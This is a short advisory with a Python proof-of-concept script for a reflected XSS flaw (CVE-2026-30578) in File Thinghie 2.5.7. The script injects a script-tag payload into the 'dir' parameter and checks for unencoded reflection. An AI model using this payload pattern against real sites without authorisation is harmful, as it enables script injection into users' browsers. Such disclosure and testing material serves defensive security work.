File Thinghie 2.5.7 is vulnerable to Cross Site Scripting (XSS). A malicious user can leverage the "dir" parameter of the GET request to invoke arbitrary javascript code.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-30578: File Thinghie XSS Vulnerability
import requests
def check_xss(url):
# Injecting a simple JavaScript payload into the 'dir' parameter
payload = "?dir=<script>confirm('CVE-2026-30578_PoC')</script>"
target = url + payload
try:
response = requests.get(target)
# Check if the payload is reflected in the response without proper encoding
if "confirm('CVE-2026-30578_PoC')" in response.text:
return "[+] Vulnerable: XSS payload executed successfully."
else:
return "[-] Not Vulnerable: Payload not found or filtered."
except Exception as e:
return f"Error connecting to target: {e}"
# Usage
# print(check_xss("http://target-site.com/filethingie.php"))